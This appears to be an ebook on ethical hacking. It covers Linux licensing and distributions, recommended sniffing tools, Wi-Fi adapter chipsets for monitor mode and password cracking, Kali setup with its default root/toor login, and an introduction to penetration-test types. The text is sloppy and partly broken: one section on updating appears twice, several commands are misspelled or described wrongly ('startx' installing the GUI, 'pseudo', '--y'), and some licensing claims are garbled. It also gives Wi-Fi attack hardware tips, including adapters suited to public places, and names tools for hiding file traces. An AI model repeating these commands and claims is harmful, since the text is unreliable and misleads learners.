MASTER OF ETHICAL HACKING

Basic to Advance

Table of Contents

Chapter 1 Introduction to Linux

To understand Linux, the leading operating system of the cloud, Internet of Things, DevOps, and Enterprise server worlds it is substantial to an IT career.

To comprehend the world of open software licensing is not easy, but let me give you some highlights. If you're planning to work with free software like Linux, you should understand the basics of the rules that govern it.

Let’s first look at licensing. There are three main methods to licensing; the Free Software Foundation founded in 1985 by Richard Stallman, the younger Open Source Initiative, and Creative Commons.

First of all, the Free Software Foundation wants software to be free, not as free of charge, but to allow users the freedom to do whatever they like with it. Think about it like this.

You may have to pay for it, but once it's yours you can do whatever you want with it. Richard Stallman and his foundation are the original authors of the GPL, and the GNU General Public License, which allows users the right to do whatever they like with their software, including modifying it and selling it, as long as they don't make any changes to the original license conditions.

The Linux kernel is the most significant piece of software released onto the GPL. But, the Open Source Initiative, while cooperating with the free software foundation where possible, believes that there should be more flexible licensing arrangements obtainable if open source software is to achieve the greatest impact possible on the larger software market.

Open source means that the original programming code of a piece of software is made freely obtainable to users, along with the program itself.

Licenses that are more closely line up with the OSI goals but include various versions of the Berkeley Software Distribution aka BSD, which oblige little more than the redistributions display the original software's copyright notice and disclaimer.

This makes it easier for commercial developments to deploy their modified software under new license models without having to concern about breaking previous measures.

The FOSS and FLOSS designations may support to reflect the alterations between these two visions. FOSS only implies that the software can be acquired free of charge, although FLOSS focuses on what you can do with

the software once you obtain it.

The Creative Commons license authorises creators of nearly anything such as software, films, music, or books to select exactly the rights they wish to reserve for themselves.

Under the Creative Commons system a creator can hand-pick between any combination of the following five elements; attribution, which allows modification and redistribution as long as the creator attribution is included; share-alike, which necessitates the original license conditions to be included in all future distributions and copies.

Next is called “non-commercial”, which permits only non-commercial use; no derivative works, permitting further redistribution, but only unmodified copies; and public domain, which allows all possible usage.

It's essential when using software released under the Creative Commons to be aware of exactly which elements have been selected by the author. The creative commons share-alike condition, along with Stallman's GPL are in practical terms, related to the copy left distribution system.

Copy left licenses permit full recycle and redistribution of a software package, but only when the original substantial permissions are included in the next level distribution.

This can be valuable for authors who don't want their software to ever evolve into closed license types, but want its derivatives to remain free forever. Non-copy left open source licenses are frequently referred to as permissive licenses.

Permissive licenses will typically not require adherence to any parent restrictions. Instances of such licenses that often allow just about any use of the license software, as long as the original work is attributed in derivatives, are the MIT, BSD, and Apache licenses.

Nowadays, pretty much Apache and MIT are the ones most widely utilised. But because open source software is free, doesn't mean that it has no place within the operations of “for-profit” companies.

In fact, the products of many largest and most profitable Companies are built, using open source software. In many cases, Companies will freely release their software as open source, as well as providing premium service and

support to paying consumers.

For example Ubuntu and CentOS Linux distributions are of that model, because they're supported by Canonical and Red Hat consistently, and both of which are in the business of providing support for enterprise clients, and these are very serious businesses.

Another example is Red Hat Linux, which was purchased by IBM for over $30 billion. It's worth noticing that the mainstream of programming code contributions to the Linux kernel are being written by full-time staffs of large technology companies, including Google and Microsoft.

Oddly, viewing the license for the user of open source software on your device isn't always so easy. Desktop apps will frequently make their license information available through the “help and about” menu selections, but in other cases the best way to find licensing information on a specific product is to visit their website.

The original Linux kernel was created by Linus Torvalds in the early 90's and then donated to the community. Community means anyone, anytime, anywhere, and donated means that the programming code of any Linux component will be freely available for anyone to download, modify, and do anything they might want with it, including profiting from their own customized versions if they want to.

A computer operating system or OS is a set of software tools designed to interpret a user's commands, so they can be translated into terms that the host computer can understand. Just about any operating system can be installed and launched on most standard hardware architecture, assuming it has enough memory and processing power to support the OS's features.

Hence, you can load Linux natively on any computer or Mac OS, a tiny development board running an ARM processor, or as a virtualized container image within a Docker environment.

Nearly all desktop operating systems provide two ways to access their tools through a graphic user interface, also known as GUI, and through a command line interface or CLI.

Every modern operating systems allow you to securely and consistently run sophisticated productivity and entertainment tools through the GUI and provide an suitable environment where you can develop your own software,

which was the only thing the first personal computers could do.

All Linux have that in in common, but what they do differently is what’s more interesting. The most obvious difference between Linux and its commercial competitors is commercial limitations.

Others have them, and Linux does not. This means that you're free to install as many versions of Linux on as many hardware devices as you wish, and no one will tell you otherwise.

This freedom changes the way you'll use your operating system because it gives you flexibility to make the changes and customizations that fit your requirements best.

It's not unusual to take a hard drive with a Linux file system installed from one computer and drop it into another, and it'll work just fine in opposite with either Windows or Mac OS.

Often have as many as half a dozen virtual and physical Linux instances running at a single time as I test various software processes and network design, something that I'd perhaps never try if I needed obtaining separate licenses.

This should have two immediate advantages for you. One, you can spend lots of time experimenting with various Linux distributions and desktops as your Linux skills grow, and you can naturally launch test deployment before you launch your company's new Linux-based resources to ensure that they're running properly.

Linux environment contains three kinds of software; the Linux kernel, the desktop interface such as GNOME or Cinnamon, and customizations provided by your specific distribution such as Ubuntu or Red Hat.

Generally, you're not going to download or directly manage the Linux kernel. That will be handled for you by the installation and update processes used by the distribution you pick.

To maintain steadiness, it's not unusual for distributions to largely ignore non-critical new kernel releases for many months. Distributions, particularly the larger and better known ones are commonly updated, while security and critical feature patches are made available almost instantly.

Most distributions have managed third-party software repositories and

package management tools for handling updates. If you look at a Software and Updates dialog on Linux boxes, you can choose how you'd like updates to be applied.

In addition to the operating system, there are thousands of free software packages available that allows you to perform any compute task feasible, more quickly and safely than you could on other platforms.

Whether you're looking for office productivity suites or web server and security services, it will all be integrated into the fabric of the Linux system by reliable package managers.

For example if you want to use editing software such as Adobe on Windows or Mac, to get them work effectively without running into system slowdowns, you would need a fast CPU, 32 GB of RAM, and a dedicated video RAM.

These rigs could cost thousands of dollars and require cooling systems to keep them from melting down. Nevertheless, if you would use Linux, you could run virtualized processes, along with regular daily tasks on a simple PC, built from less than $300.

As Linux is open source, many people have created their own versions of the OS, known as distributions or “distros” to fit specialized needs. The most famous of these is Google's Android OS for smart phones, but there are hundreds of others, including enterprise deployment distros, such as Red Had Enterprise, and it's free community rebuild, CentOS for example.

There's a distribution specially optimized for scientific and advanced mathematical applications called Scientific Linux, Kali Linux for network security testing and management, which we will dive in more depth shortly, but other distributions built to be embedded in IoT or Internet of Things devices such as Raspbian for the ultra-cheap Raspberry Pi development board.

Distributions are often grouped into families. For example a specific distribution might earn a reputation for stability, good design, quick patching, and a healthy ecosystem of third-party software.

Instead of having to re-invent the wheel, other communities might fork derivative versions of that parent distro and their own customizations, and distribute it under a new name, but the original parent child relationship remains.

Updates and patches are pushed from the upstream parent downstream to all the children. This is efficient and an effective way to maintain autonomous systems.

The best known distribution families are Debian, which maintains a downstream ecosystem that includes the all-purpose Ubuntu for example.

Mint Kali Linux and Red Hat are responsible for the CentOS; and consumer focused Fedora distros; SUSE, that provides OpenSUSE; and the infamously complex but ultra-efficient Arch Linux, whose downstream followers include LinHES for Home Entertainment Management, and the GUI focused Manjaro.

You'll also find Linux distribution images for all kinds of dedicated deployments. Extremely lightweight distros can be embedded in Internet of Things devices such as fridges or light bulbs.

Docker containers are fast and efficient because they share the OS kernel with their Linux host environments, and they can be built using a wide range of Linux based images.

The cloud, led by AWS or Amazon Web Services and Azure, the virtualized on-demand service computing is just great as it contains about everything we know about computing.

Linux is multipurpose and free, therefore it’s the perfect operating system for cloud deployments. Another Linux version is being used to run a significant majority of cloud occurrences is hosted on Microsoft's Azure cloud platform.

The significance of the industry-wide shift to the cloud is the appearance of specialized Linux distributions that are designed to deliver the best conceivable cloud experience by being small and fast as possible.

These specialty distros will frequently include out of the box functionality that allows you take advantage of your specific cloud host environment. These distros include AWS's Amazon Linux AMI for example.

AMI stands for Amazon Machine Image, and purpose-built long-term support Ubuntu releases. Long-term support or LTS releases are built to be as stable using fully tested software and configurations.

The reliability of such configurations makes it possible for the distro managers to continue to provide security and feature updates to a release for

5 years.

You can deploy an LTS release as a server without worrying to rebuild it all that time. If you like to try out the latest and greatest versions of software, you might go ahead and install the most recent interim release, but for stable environments, you have to have an LTS.

In summary, open source software can be delivered using various license models. The GPL, the GNU General Public License permits any use, modification or redistribution as long as the original license terms aren't changed.

Creative commons licenses permit more restrictive license conditions to give greater choice to software creators. Other major licensing models include Apache, BSD and MIT.

Linux is a flexible platform that can be customized to power any compute device, both; physical or virtual. You learned about Linux distributions that package the Linux kernel, along with GUI desktops and specialized software and configurations.

The distribution families we discussed include Red Hat Enterprise Linux, Debian and Arch. In conclusion, you now have a basic understanding about the ways distributions patch and maintain the software in Linux machines, as well as how they frequently make new releases available, including LTS or Long Term Support releases.

Before you install any Linux, I want to say that Linux Installation is not a simple mission. There are so many platforms on which you can install Linux, so many distros and distro releases and each one with its own installation program, so many configuration options, and so many uniquely different installation pathways that presenting a small subset of the topic in a logical way is a challenge.

You can install Linux on PCs and traditional servers. Besides the fact that the Android OS itself is built on a Linux kernel, there's nothing stopping you from installing a more mainstream distro, but keep in mind that such experiments can end badly for the device.

What about a refrigerator or something smaller like a kids toy, which are likely to be produced in very large numbers, or virtual servers that are designed to live for a few seconds, perform a specific time-sensitive task, and

then shut themselves down forever?

Well, the regular install processes won't work properly in those scenarios, so you'll often need to think outside the box. Many Internet of Things devices use tiny development boards, such as the inexpensive Raspberry Pi to run their compute operations.

In the case of the Pi, you can build an OS image on your own PC and flash it onto an SD card, which you can then insert into device and boot it up. Virtual servers can be provisioned using scripts that define the precise operating system and configuration details you're after.

Sometimes in response to an external trigger, the scripts will automatically activate resources in your target environment and deploy them as needed to meet changing demand.

The variety and flexibility inherent in the Linux and open source ecosystem make it possible to assemble the right combination of software layers necessary to match the hardware resources you're using and your compute workload.

In the course of a traditional Linux installation you're going to face choices regarding some of the environment settings within which your OS will operate, how your computer will connect to the network, what kind of user account you'll create for day-to-day administration, and what storage devices you'll use for the software and data used by your system.

Let's talk about those one at a time. Linux distros allow you to choose to interact with the GUI using any one of the languages but you'll need to specify which language you want and which keyboard layout you're using.

The language you choose will determine what you'll see in dialog boxes and configuration menus throughout the desktop. You'll also need to set your location, so Linux will know your time zone.

Many of your network and file handling operations will depend on the time zone setting, so you want to get this right. These settings can be updated later either using the GUI or the CLI.

If it's possible you're better off enabling internet access before your installation gets going. This way, your distro can download the latest updates that might not be included in your installation archive, so you'll have one less

thing to do when you log in to your new workstation.

The CentOS installation program will ask you whether you want to set up a regular user for your system or if you're fine with just the root user.

While you're not forced to create a regular user, to harden your security posture, it's highly endorsed that you avoid logging in as a “root” user for normal operations.

As an alternative, logging in and getting your work done as a regular user who can, when necessary, invoke administration powers using pseudo, is much better.

Standard Ubuntu install processes for example won't even offer the option of using root. You can always opt in to go with the default approach for storage devices where in most cases the entire file system will be installed within a single partition, but you might want to explore other options for more complicated or unusual use cases.

Many server admins prefer keeping the “/var” directory hierarchy isolated in a separate partition to ensure that system log data doesn't overwhelm the rest of the system.

You can use a small but fast SSD or solid state drive for most of the system files, while the larger “home” and “var” directories are mounted to a larger, but much slower hard drive.

This allows you to leverage the speed of the SSD for running Linux binaries while getting away with a less expensive magnetic hard drive for your data, where the performance difference wouldn't be as much noticeable.

You'll be asked whether you want your storage devices to be managed as “LVM volumes”. But what is an “LVM volume”?

Well, LVM stands for Logical Volume Manager, which is a way to virtualize storage devices, so they're easy to be manipulated later on. But how it functions?

Well, Let's imagine that you've got three separate physical drives on your system. LVM would turn them all into a single volume group, whose capacity equals the total aggregate space from all three drives.

At any time you'll be free to create as many logical volumes from that volume group as you'd like, using any combination of individual capacity, up

to the total available volume.

If your 3 drives were 2 TB, 500 GB, and 200 GB in size separately, and you needed to work with a data drive of at least 2.3 TB, you could use LVM to create 1 logical volume of 2.3 TB and a second volume of 400 GB for everything else.

If your requirements change in the future, you can reduce the size of your data drive and transfer the extra data to the second volume, or to a new volume. Adding or swapping out volumes can be relatively simple operations. LVM can give you fantastic configuration flexibility, but for simple setups it's normally not essential.

Now that you're aware of some of the theory, you can go ahead and jump right into Kali Linux installation, but before you do that I would like to recommend few other software and hardware that you should get hold of as Pen Tester.

Chapter 2 Software & Hardware Recommendations

Tcpdump
https://www.tcpdump.org/

Microsoft Net Mon
https://www.microsoft.com/en-us/Download/confirmation.aspx?id=4865

LanDetective
https://landetective.com/download.html

Chanalyzer
https://www.metageek.com/support/downloads/

Ettercap
https://www.ettercap-project.org/downloads.html

NetworkMiner
https://www.netresec.com/?page=NetworkMiner

Fiddler
https://www.telerik.com/fiddler

Wireshark
https://www.wireshark.org/download.html

Kali Linux
https://www.kali.org/downloads/

vmWare
https://my.vmware.com/web/vmware/downloads

Virtual Box
https://www.virtualbox.org/wiki/Downloads

Many people seem to get confused when we talking about wireless adapters and Wireless cards. They don't know what they are, why do we need them, and how to select the right one because there are so many brands and so many models.

What we mean by a wireless adapter is the device that you connect to your computer through a USB port and it allows you to communicate with other devices of our Wi-Fi, so you can use it to connect wireless networks and communicate with other computers that use Wi-Fi.

You might be thinking that your laptop already has this and yes most laptops and smart phones already have this built in. But, there's two problems with that.

The first issue is that you can't access built-in wireless adapters with Kali Linux if it's installed as a virtual machine, and the second issue is that these built-in wireless adapters are not good for penetrating wireless networks.

Even if you installed Kali Linux as a main machine on your laptop and then you'll have access to your built-in wireless card, you still want to be able to use this wireless adapter for penetration testing because it doesn't support monitor mode, or packet injection.

You want to be able to use it to crack Wi-Fi passwords and do all the awesome stuff that we can do in Kali Linux with aircrack-ng and other tools. Before we start talking about the brands and the models that will work with Kali Linux, I want to talk about a more important factor which is the chipset that's used inside the wireless adapter.

Forget about the brand for now. Instead, we're going to talk about the brains that does all the calculations inside the wireless adapter. This is what determines whether the adapter is good or bad. Whether it supports injection and monitor mode and works with Kali Linux, the brand is irrelevant.

What's used inside that adapter is important and thus the chipset. There are many chipsets that support monitor mode and packet injection and Kali Linux. There is one that's made by the company called Atheros and it's model is AR9271. This chipset supports monitor mode or packet injection, or you can use the chipset to create fake access point, or you can use it to hack into networks.

So you can use this chipset to do pretty much for all Kali Linux attacks. The

only problem with this chipset is that it only supports 2.4 gigahertz, so if your target uses 5 gigahertz or the some of the devices are connected over 5g, then you won't be able to communicate with these devices.

You won't even be able to see them so you won’t to be able to launch the attacks against them. That's not because the chipset is not good, but it's because it cannot see 5 gigahertz traffic.

If you want to get an adapter that uses this chipset, then you have two options. Well, you have many options, but I'm going to talk about two. First, there is a cheap option which you can get an unbranded wireless adapter that uses this chipset and you can use it to do all of the attacks that I just mentioned.

The only thing is that this adapter is unbranded, so it's a bit cheaper. The second option is to get Alpha AWUS036NHA wireless adapter that's made by alpha, which is a very popular company and they keep on making great wireless adapters.

It has the same chipset, and it'll have the same compatibility. The only difference is the build quality. This is a much higher quality product made by a very good company.

They both function very well, but the only difference is that the Alpha adapter has a longer range and it’s more reliable. Budget adapters are much smaller, much more compact, so if you're in a public place it's much easier to use than the Alpha one, which is big and has big antenna.

The next chipset I want to talk about is made by the company called Realtek. The model is RTL8812AU. This chipset has only got its support by Kali Linux in 2017 version 1 and this chipset supports monitor mode, packet injection, and 2.4 and 5 gigahertz frequency too.

The only problem with this chipset is that it doesn't seem as reliable as some of the attacks might need stronger signal, some of the attacks will fail, and you'll have to do it again, and sometimes the card will just get disconnected then you have to connect it again.

This chipset have once again two options. You can get a budget wireless adapter that's much cheaper than the Alpha one, and it just has the same chipset, or you can get the Alpha, which is a very good company with a good reputation and it is a stronger adapter, so you will get to further away

networks, because you'll have stronger signal.

With the Alpha adapter that uses this chipset is Alpha AWUS036ACH. You can go ahead and compare their specifications and get the right one for you. The most important thing is the chipset. It’s not the brand. The budget ones are much cheaper.

They're more compact, so they're better. You can use them better in public but they're not as strong as the Alpha ones. The alpha ones will give you better signal, so they will be more reliable, but the budget ones will work perfectly fine too. They'll all support many penetration attacks.

The only difference it's just the build quality. Compatibility wise, the budget adaptors will work just as good as the Alpha ones because they use the same chipset. Once again, the most important thing is the chipset that's used inside the wireless adapter.

Chapter 3 Installing Virtual Box & Kali Linux

Virtual Box is a software that specializes in virtualizing various operating systems that you can install it on Windows, Macintosh or any Linux as well as Solaris operating systems. It's free to download. Once you have reached the site you can choose to download different platform packages.

After you have downloaded Virtual Box, you will be able to build and run multiple VM-s (Virtual machines). The user manuals on how to install Virtual box, it's all on their website that already listed in the previous chapter. Using the software it's simple, and it is recommend running Kali Linux on it.

You can use other similar virtual environment such as vmWare, but personally have used Virtual Box for many years therefore that is what I will refer back to thorough this book.

Kali Linux is a Linux Distribution of operating system that you are able to use both as your main operating system or run virtually. You can run it in form DVD, or even from USB. Once you have downloaded the ISO file, you might install it on the top of your existing operating system.

Kali Linux is the best Penetration Tetsing Tool Kit / software that has hundreds of tools built into, ready to use for penetrations testing against any network out there. Kali Linux is to test an existing network and try to find possible vulnerabilities, so the general network security can be improved.

Kali Linux is also userfriendly, and the categories of tools built into it are for Information gathering, Forensics, Reverse engineering, Stress testing, Volnerability assessment, Reporting tools, Explotation tools, Privilidge esculation, Maintaining access and much more.

Once you have downloaded Kali Linux and ready to install it in a virtual environment, there are a few of details that you should be aware. When you create a new Virtual machine for Kali, you must allocate at least 4 Gb of space, and another 20 Gb for the Virtual hard drive.

After you have a new Virtual machine built complete, you have to go to settings and ensure that you adjust the Network settings by choosing bridging the VM to your router. Once you finished with the settings, you should be

able to boot the image. The command you need to type is

“startx”

then hit enter. This will start installing the GUI (Graphical User Interface) from the hard drive, which is also recommended. Until the GUI gets installed, there are few questions that you need to answer, such as language, keyboard, location and clock settings for the time zone.

Once the installation is complete, you must restart the image to boot from the hard drive. After the reboot complete, Kali will ask for logon details on the CLI (Command Line Interface). For the username, type

“root”

and for the password, type

“toor”

and hit enter. If you are new to CLI and don’t know any commands and what to type, no worries. You can always switch to the GUI by typing the command

“startx”

and hit enter. This will open the userfriendly GUI that will allow you to have access to all Pen Test tools that we will further discuss later on. Other basic settings that you need to do is IP addressing.

Kali Linux by default look for an IP Address of your DHCP, but it’s recommended to assign a static IP Address, so you don’t get lost which IP represents what machine. The CLI command you need to assign an IP Address on Kali is:

“Ifconfig eth0 10.10.10.2/24 up”

Next, you have to configure the default gateway, which is your router’s IP Address. To do that, type the command:

“Route add default gw 10.10.10.1”

Once these settings are complete, ping your router’s IP Address by typing the command:

“Ping 10.10.10.1”

Once you have reachability to your default gateway and able to access the internet with that router, you should test internet connectivity by typing the command:

“Ping www.google.com”

If this is successful, it means that your virtually installed Kali Linux is connected to the Internet. The reason you need internet access is because you want to update your Kali Linux.

Updating your Kali Linux is your top priority. The first task you should perform after a clean install is updating your operating system. Advanced Packaging Tools, aka APT extends the functionalities of Debian packages by searching repositories and installing or upgrading packages along with all the required dependencies.

Open your console and type “apt-get update”, which is used to resynchronize the local package index files with their source as defined in the sources list file. The update command should always be used first, before performing an upgrade or a distribution upgrade.

Next, you need to upgrade Kali by issuing the “--y” option, which proceeds with the installation without the hassle of writing yes every time. So what apt-get upgrade stands for?

Well, it is used to install the newest versions of all packages installed on the system. So the existing packages on Kali with new versions available are upgraded. Important to note, that the upgrade command will not change or delete packages that are not being upgraded, and it will not install packages that are not already present.

Lastly, you need to execute the “distribution upgrade” command. This command upgrades all packages currently installed on the system and their dependencies.

It also removes obsolete packages from the system. The next thing you need to do is to reboot your machine. After rebooting your machine, now you have a fresh clean version of Kali.

To list the Debian packages installed on your machine you would run the following command: “sudo apt list –installedX”

If there are a bunch of them and want to know if a specific tool is already

installed, you can filter the results by adding the “grep filter” argument.

To show a full description of a package and identify its dependencies, run the following command: “dpkg --status packagename”

And finally, to remove a package from Kali, you should execute the following command; “sudo apt-get remove name → un-install package“

Of course, you need to replace the package name by your application name. Finally, I want to explain to you how your system uses official Kali repositories. All the magic happens in the “sources.list” file.

You can take a look at that file by opening it using leaf pad whenever you execute your update command, Kali looks in the contents of this file to perform the update process.

Updating your Kali Linux is your top priority. The first task you should perform after a clean install is updating your operating system. Advanced Packaging Tools, aka APT extends the functionalities of Debian packages by searching repositories and installing or upgrading packages along with all the required dependencies.

Open your console and type “apt-get update”, which is used to resynchronize the local package index files with their source as defined in the sources list file. The update command should always be used first, before performing an upgrade or a distribution upgrade.

Next, you need to upgrade Kali by issuing the “--y” option, which proceeds with the installation without the hassle of writing yes every time. So what apt-get upgrade stands for?

Well, it is used to install the newest versions of all packages installed on the system. So the existing packages on Kali with new versions available are upgraded. Important to note, that the upgrade command will not change or delete packages that are not being upgraded, and it will not install packages that are not already present.

Lastly, you need to execute the “distribution upgrade” command. This command upgrades all packages currently installed on the system and their dependencies.

It also removes obsolete packages from the system. The next thing you need to do is to reboot your machine. After rebooting your machine, now you have

a fresh clean version of Kali.

To list the Debian packages installed on your machine you would run the following command: “sudo apt list –installedX”

If there are a bunch of them and want to know if a specific tool is already installed, you can filter the results by adding the “grep filter” argument.

To show a full description of a package and identify its dependencies, run the following command: “dpkg --status packagename”

And finally, to remove a package from Kali, you should execute the following command; “sudo apt-get remove name → un-install package“

Of course, you need to replace the package name by your application name. Finally, I want to explain to you how your system uses official Kali repositories. All the magic happens in the “sources.list” file.

You can take a look at that file by opening it using leaf pad whenever you execute your update command, Kali looks in the contents of this file to perform the update process.

Now it’s time to list some important tools that could be very helpful to you as a penetration tester. The first one on the list is called the preload application. To install this package, execute the following command:

“sudo apt-get install preload”

The preload application identifies a user's most commonly used programs and preloads binaries and dependencies into memory to provide faster access. It works automatically after the first restart, following the installation.

Your next tool is called “bleachbit”. Bleachbit frees disk space and improves privacy by freeing the cache, deleting cookies, clearing internet history, shredding temporary files, deleting logs, and discarding other unnecessary files. This application has some advanced features such as shredding files to prevent recovery and wiping free disk space to hide traces of files that have not been fully deleted. The command you need to install bleachbit is:

“sudo apt-get install bleachbit”

The next program is the boot up manager. Each application that executes using the boot up process slows the system. This may impact the memory use and system performance. You can install the “boot up manager” to disable unnecessary services and applications that are enabled during the boot up. The command you need to install it is:

“sudo apt-get install bum”

The next application you should be aware and install is called “gnome-do”. If you like to execute applications from your keyboard, “gnome-do” is the right tool for you. The command you need to install this tool is:

“sudo apt-get install gnome-do”

Your next software in the list is the “apt file”. This is a command line tool to search within packages of the “apt” packaging system. It allows you to list contents of a package without installing or fetching it. The command you need to install it is:

“apt-get install apt-file”

Once you have installed the package, yo also have to update it using the command: “

“apt-file update”

The next application you need to install is called “Scrub”. This application is a secure deletion program to compile with government standards. The command you need in order to install this tool is:

“sudo apt-get install scrub”

Next, you need to install “Shutter”. Shutter is a screenshot tool that captures images of your desktop. The command you need in order to install this tool is:

“apt-get install shutter”

The next software you should install is called “Figlet”. This program will make your console look professional by displaying a custom message such as your company name for example. The command you need in order to install this tool is:

“apt-get install figlet”

Next, you need to edit the “bashrc file”, by scrolling to the end of the file and type “figlet message”. Next, save and close and restart your console, and the next time you log back to your console session, the first thing you should see is the message you have provided.

Next, you need to be aware about SSH, aka Secure Shell configuration. Kali comes with default SSH keys, yet before starting to use the SSH on Kali, it is a good idea to disable the default keys and generate a unique key set. The process of moving the original keys and generating the new keyset is as follows. First, open your console and change the directory to the SSH folder.

NOTE: Here is some help on how to navigate within directories;

- *To return to the home directory immediately, use cd ~ OR cd*
- *To change into the root directory of Linux file system, use cd /.*
- *To go into the root user directory, run cd /root/ as root user.*
- *To navigate up one directory level up, use cd ..*
- *To go back to the previous directory, use cd -*

Next, you have to create a backup folder, and you need to move the SSH keys to that backup folder.

NOTE: The cp command is a Linux command for copying files and directories. The syntax is as follows:

- *cp source destination*
- *cp dir1 dir2*
- *cp -option source destination*
- *cp -option1 -option2 source destination*

In the following example copy /home/test/paper/ folder and all its files to /usb/backup/ directory, use the following command:

cp -avr /home/test/paper /usb/backup

-a : Preserve the specified attributes such as directory an file mode, ownership, timestamps, if possible additional attributes: context, links, xattr, all.

-v : Verbose output.

-r : Copy directories recursively.

Lastly, you need to generate the new keyset, therefore use the following command:

"dpkg-reconfigure openssh-server"

Next, you will see on the following messages, indicating that your ssh keys are generated:

Creating SSH2 RSA key; this may take some time …

Creating SSH2 DSA key; this may take some time …

Creating SSH2 ECDSA key; this may take some time …

Next, you have to verify the ssh key hashes using the following command:

"md5sum ssh_host_*"

Here the * *represents* your new keys, so compare these hashes using the following commands:

"cd default_kali_keys/"

*"md5sum *"*

After regenerating the SSH key pairs you can start the SSH service via

/usr/sbin/sshd from the CLI.

Once you have started SSH, if you want to verify that the service is running, perform a “netstat” query. From the output you should see the SSH is now listening on port 22.

Chapter 4 Introduction to Penetration Testing

We have already discussed Linux basics, specifically Kali Linux, as well what additional software and hardware you might require as an Ethical Hacker. Yet, instead of jumping right onto Kali's command line or graphical user interface, you should know more about the procedures once you take on a job as an Ethical Hacker.

Therefore, first, we're going to look at understanding penetration testing, and how it works in terms of reconnaissance and footprinting. After that, we are going to discuss how to pen test and how to scan your targets.

First, we have to understand why we pen test in the first place. That may seems an obvious question, but we'll give you some more details here. Next, we'll talk about the different types of pen tests, but there are not only different types, but different individuals who are also involved you should be aware of.

Then we'll go through the three different stages of pen testing so you fully understand what those are. We'll look at the pre-attack stage, which we spend a lot of time in because we want to set some parameters, as well as protecting ourselves legally.

Then we'll look at stage 2 where we'll look at the things that we'll do during the attack. Afterward, we'll look at the post-attack steps, and we'll talk about the standards required you to be following.

Some of the standards are done by manufacturers, and some of them are open standards, so you'll need to decide which one you wish to follow based on what you're trying to accomplish. Once you find the standard for yourself, stay to it.

But to the question; "Why do we pen-test in the first place?" Well, this seems like an easy question or that you would think the answer is pretty straightforward, but there are a few reasons why we do pen tests.

First of all, we want to evaluate the current security profile of the organization by simulating an attack to find out what vulnerabilities a malicious attacker could exploit.

Another legitimate reason we do pen test is to create security measures. Since we're going after the network, doesn't it make sense to go ahead and figure out or maybe redesign our current security mechanisms?

Many people feel that pen-test is designed to point out vulnerabilities, but we will not just point out the vulnerability, but we must also highlight the effects that weakness or that vulnerability poses to the company.

Upon completion of a pen-test, we can deliver a comprehensive report with the details of everything we've discovered. You could also argue that pen testing is designed not just to show the gaps in your security model, but it can also benefit in disaster recovery and business continuity planning.

The goal is to simulate methods that malicious attackers would utilize to attempt to gain unauthorized access to your network.

First of all, you want to ensure that you list the objectives of the pen test. Some companies may or may not need certain elements tested. Establishing parameters for those tests should be the primary focus, and the limitations or justifications of attacking those systems.

Another way that you could ensure that you perform a decent pen-test is to follow a methodology, and we'll talk about methods later on, but you want to focus on one, because most of the plans will ensure that you cover all your bases.

Documentation is another vital factor of a decent pen-test. We want to ensure that the client can understand what it is we're talking about, and the pen tester needs to ensure that they're available to answer any questions that might come up from the documented pen-test report.

Another way that you could ensure that you do a decent pen-test is to prove you've got the right tools. Some of these tools will be proprietary, some open-source, some of them will do things for you automatically, others might include scripts, as well as just standard command-line interfaces.

Another way that you could ensure that you have a decent pen test is to choose who's involved. You may not be doing this alone. If you are doing it alone, you want to ensure that you and everybody else involved in the pen test is a legit penetration tester who follows the rules of non-disclosure agreements.

This is important if you're being hired to do a pen-test that could destroy a company. It is your job, your responsibility, and your integrity to ensure that you help to protect the client.

You also want to ensure that not just point out what's wrong, but when you report the findings, provide some recommendations of what needs to be done or what could be done to fix the problem.

Offer solutions all the time. Besides the main four reasons for performing a pen test, there are a couple of other reasons you should be aware too.

One of them might be in the aspect of trying to come up with changes that needs to be made to your infrastructure to make you more secure, whether that's hardware or software related, or even if it’s the network design.

We can also use pen testing results to create preparation steps to help preventing exploitations from taking place. Another reason is to look at the effectiveness of network machines, then evaluating those, even if those machines are firewalls, routers, switches, web servers, file servers.

We'd also utilize pen testing results to confirm our security defences and the controls that we have in place. For example, because you had a pen test 3 months ago, that doesn't mean that something else hasn't changed on your network.

Likewise, pen testing results could benefit us in creating teams or management to help us focus on particular vulnerabilities and security issues to get people trained, who are in charge of those systems.

We would also utilize pen testing results to help us identify threats that are facing our organization's assets, and this is going to change because different businesses are in a different industry.

For example, hospitals are going to look at different security mechanisms versus a small business. To reduce the organization's expenditures on IT security and enhance the Return on Investment or ROI when it comes to those security devices, we must identify and remediate vulnerabilities and weaknesses.

We can also utilize pen testing results for creating policies, procedures, implementations, and new designs. We can also use this type of report to help us develop systems, processes, executions, and plans for our company.

And let’s not forget that certain companies have to worry about specific regulations. Lastly, to come up with best practices for both legal and industry regulations; there is nothing worse than having a data breach and being sued

by a class-action lawsuit from your customers because you failed to show that you were trying to protect their data.

You're going to read a lot of different terms being utilized when it comes to different types of tests being done, such as a security audit or vulnerability assessment, while we're still talking about pen-testing.

Some folks might utilize all these terms interchangeably, but there are some considerable differences, such as a security audit checks whether the business is following a set of standard security policies and procedures.

Vulnerability assessment focuses on discovering vulnerabilities inside the network, but it provides no indication if the vulnerabilities can be exploited, or the amount of damage it might results.

In summary, a pen test is a systematic approach to security assessment that encompasses the security audit as well and demonstrates if the attacker can successfully exploit the weaknesses in the systems.

When it comes to pen testing, you're also going to hear different types of teams, and since there are two types of groups, let me explain what each are is.

The first one is known as a red team. A red team is also known as the aggressor team. This is a team of ethical hackers that perform penetration tests on your systems with no or limited access to the organization's internal resources.

Red teams attack with or without warning, and the red team may include some system administrators from different departments within the organization.

The other type of team is known as the blue team. The blue team is a defensive team. The blue team has access to all the organizational resources and information.

Their primary role is to detect and attempt to mitigate the red team's activities and to anticipate how a surprise attack might occur. The blue team may include some system administrators and standard IT staff. It's the least expensive and the most frequent assessment approach.

When it comes to the types of pen-tests out there, it all depends on your approach and how much information you have, or given to you by the

organization before the tests start.

Moreover, it also depends on whether the pen-tests are internal or external. We sum these up within a white box.

A white box pen test means that we have a complete knowledge of the infrastructure, and when I say comprehensive experience, the customer or the company will provide a network topology, including all there diagrams, asset inventories as well as their software inventories.

A company will do this type of test when it wants a complete audit of its security. Despite all of this, information security is an on-going process, and pen testing gives us a snapshot of the security posture for that company at that given point.

Another type of test is a black-box test. This is broken down into two types of tests. One is known as a blind test. In a blind test, the pen tester don’t know anything about the company or the target, but the target is informed of the audit scope, meaning the what, the how, and when the tester will be testing.

In a blind test, the attacker will simulate the actions, processes as well the procedures that a real attacker would take. We're going to do some reconnaissance, some footprinting, some scanning, and also will look at some publically available information.

Blind tests are more time consuming and more expensive because of the time. The other type of black-box test is known as a double-blind.

